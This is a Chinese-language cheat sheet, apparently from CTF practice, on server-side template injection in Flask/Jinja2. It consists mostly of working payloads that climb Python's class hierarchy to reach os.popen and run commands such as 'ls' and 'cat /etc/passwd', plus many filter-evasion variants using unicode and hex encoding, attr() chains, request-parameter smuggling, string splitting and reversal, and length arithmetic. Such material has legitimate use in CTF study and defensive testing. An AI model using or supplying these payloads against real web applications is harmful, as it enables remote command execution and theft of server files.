查看提示和源代码 扫描后台拿信息 F12 传参跳转 uri unicode 16位编码
SSTI是服务器端的模板注入。比如python中的flask、php的thinkphp、java的spring等框架一般都采用MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
{{7*'7'}}
[].__class__.__mro__[-1].__subclasses__()[40] 检测python的版本
在python3中subclasses()里面是没有type file的
{{config}}
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27dir%27).read()")}}
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27ls /flasklight%27).read()")}}
{{[].__class__.__bases__[0].__subclasses__()[59].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__(%27os%27).popen(%27cat /flasklight/coomme_geeeett_youur_flek%27).read()")}}
__class__查看当前类
__base__查看上一类
__mro__查看所有类
__subclasses__()查看当前类的所有子类
{{7*7}}
{{".__class__}}
{{".__class__.__base__}}
{{".__class__.__base__.__subclasses__()}}
__init__对所有模块进行初始化
{{".__class__,__base__.__subclasses__()[117].__init__}}
用globals查看有哪些可使用的方法函数
{{".__class__.__base__.__subclasses__()[117].__init__.__globals__}} 查看全部全局变量,有哪些可以使用的方法函数等
查看回显后,发现有popen( )函数可以利用,这是个命令执行的函数。{{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('cat /etc/passwd').read()}}
注意:需要加上read函数才能将内容显示出来
WAF绕过
当双大括号被过滤的时候,就可以用{%%}进行绕过
{%%}是属于flask的控制语句,且以{%end...%}结尾可以通过在控制语句定义变量或者写循环,判断
首先,判断语句是否执行{% if 2>1 %}123{%endif%}如果if语句成立,那么输出123通过这个我们就可以判断我们输入的payload是否成立,例如
{% if ‘’.__class__ %}123{%endif%}
因为回显了123,所以这个payload是成立的
{% if ''.__class__.__base__.__subclasses__()[156].__init__.__globals__['popen']('ls')%}123{%endif%}
虽然payload是执行了,但是我们真正想要的并不是看有没有回显123,而是看回显内容,我们就需要将if改为print()即可
{%print(''.__class__.__base__.__subclasses__()[156].__init__.__globals__['popen']('echo 1').read())%}
中括号过滤:
__getitem__()魔术方法
getitem()是python的一个魔法方法,
对字典使用时,传入字符串,返回字典相应键所对应的值,
当对列表使用时,传入整数返回列表对应索引的值。
绕过中括号就得用到这个魔术方法
原始payload:
code={{''.__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
修改后的payload:
code={{''.__class__.__base__.__subclasses__().__getitem__(133).__init__.__globals__.__getitem__('popen')('ls').read()}}
单双引号过滤
request
request在flask中可以访问基于 HTTP 请求传递的所有信息
此request并非python的函数,而是在flask内部的函数
关于request的用法呢主要如下
以request.args.key为例
原payload:
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
修改后payload:
Get内容:
?popen=popen&cmd=ls
Post内容:
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__[request.args.popen](request.args.cmd).read()}}
下划线过滤
通过过滤器过滤
下划线绕过时主要用到attr()过滤器
原payload:
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
修改后payload:
Get内容:
?class=__class__&base=__base__&subclasses=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&read=read
Post内容:
{{''|attr(request.args.class)|attr(request.args.base)|attr(request.args.subclasses)()|attr(request.args.getitem)(133)|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)('popen')('ls')|attr(request.args.read)()}}
绕过下划线也可以用unicode加密绕过
原payload:
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
修改后payload:
{{()|attr('\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f')|attr('\u005f\u005f\u0062\u0061\u0073\u0065\u005f\u005f')|attr('\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f')()|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')(133)|attr('\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f')|attr('\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f')|attr('\u005f\u005f\u0067\u0065\u0074\u0069\u0074\u0065\u006d\u005f\u005f')('popen')('ls')|attr('read')()}}
只需要将过滤内容进行unicode加密即可
绕过下划线也可以用16位编码绕过绕过
__编码之后为\x5f\x5f,将\x5f\x5f代替__即可
原payload:
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
修改后payload:
{{''['\x5f\x5fclass\x5f\x5f']['\x5f\x5fbase\x5f\x5f']['\x5f\x5fsubclasses\x5f\x5f']()[133]['\x5f\x5finit\x5f\x5f']['\x5f\x5fglobals\x5f\x5f']['popen']('ls').read()}}
值得注意的是需要将内容用中括号包裹起来
点过滤
可以用sttr()过滤,也可以用中括号绕过点
原payload:
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
修改后payload:
{{''['__class__']['__base__']['__subclasses__']()[133]['__init__']['__globals__']['popen']('ls')['read']()}}
关键字过滤
过滤了"class""arg""form""value""int""global"等关键字
以class为例
字符编码
最简单拼接"+":'__cl'+'ass__'
使用Jinjia2中的"~"进行拼接:{%set a="__cla"%}{%set b="ss__"%}{{a~b}}
使用过滤器(reverse反转、replace替换、join拼接等):
{%set a=”__ssalc__”|reverse%}{{a}}
使用python的char():
{%setchr=url_for.__globals__[‘__builtins__’].chr%}{{“”[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(95)%2bchr(95)]}}
举例:
原payload:
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
修改后payload:
{{''['__cla'+'ss__']['__ba'+'se__']['__subcl'+'asses__']()[133]['__in'+'it__']['__glo'+'bals__']['po'+'pen']('ls')['read']()}}
原payload:
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
修改后payload:
{%set a='__cla'%}{%set b='ss__'%}{%set c='__ba'%}{%set d='se__'%}{%set e='__subcla'%}{%set f='sses__'%}{%set g='__in'%}{%set h='it__'%}{%set i='__glo'%}{%set j='bals__'%}{%set k='pop'%}{%set l='en'%}{{''[a~b][c~d][e~f]()[133][g~h][i~j][k~l]('ls')['read']()}}
原payload:
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
修改后payload:
{%set a='__ssalc__'|reverse%}{%set b='__esab__'|reverse%}{% set c='__sessalcbus__'|reverse%}{%set d='__tini__'|reverse%}{%set e='__slabolg__'|reverse%}{%set f='nepop'|reverse%}{{''[a][b][c]()[133][d][e][f]('ls')['read']()}}
数字过滤
使用length过滤器过滤
原payload:
{{().__class__.__base__.__subclasses__()[133].__init__.__globals__['popen']('ls').read()}}
修改后payload:
{%set a='aaaaaaaaaa'|length*'aaaaaaaaaaaaa'|length+'aaa'|length%}{{''.__class__.__base__.__subclasses__()[a].__init__.__globals__['popen']('ls').read()}}